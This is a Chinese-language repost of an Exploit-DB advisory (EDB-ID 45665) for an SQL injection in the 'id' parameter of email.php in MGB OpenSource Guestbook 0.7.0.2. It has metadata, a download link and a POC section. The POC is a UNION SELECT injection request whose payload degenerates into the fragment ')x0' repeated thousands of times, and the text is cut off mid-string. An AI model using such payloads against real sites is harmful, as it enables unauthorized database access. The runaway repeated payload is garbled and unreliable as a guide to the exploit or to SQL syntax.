漏洞概述 漏洞名称: MGB OpenSource Guestbook 0.7.0.2 - 'id' SQL Injection EDB-ID: 45665 作者: Ihsan Sencan 类型: Webapps 平台: Windows 日期: 2018-10-23 漏洞验证: 已验证 漏洞应用: 可下载 影响范围 软件版本: 0.7.0.2 类别: Webapps 测试环境: Win7 x64/KaliLinux x64 CVE: N/A 修复方案 软件链接: https://sourceforge.net/projects/mopzz-gb/files/latest/download POC代码 ```plaintext Exploit Title: MGB OpenSource Guestbook 0.7.0.2 - 'id' SQL Injection Dork: N/A Date: 2018-10-23 Exploit Author: Ihsan Sencan Vendor Homepage: http://www.m-gb.org/ Software Link: https://sourceforge.net/projects/mopzz-gb/files/latest/download Version: 0.7.0.2 Category: Webapps Tested on: Win7 x64/KaliLinux x64 CVE: N/A POC: 1) http://localhost/[PATH]/email.php?id=[SQL] GET /[PATH]/email.php?id=admin%27+union+select+ (select(0x)from(select(0x).x)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x0)x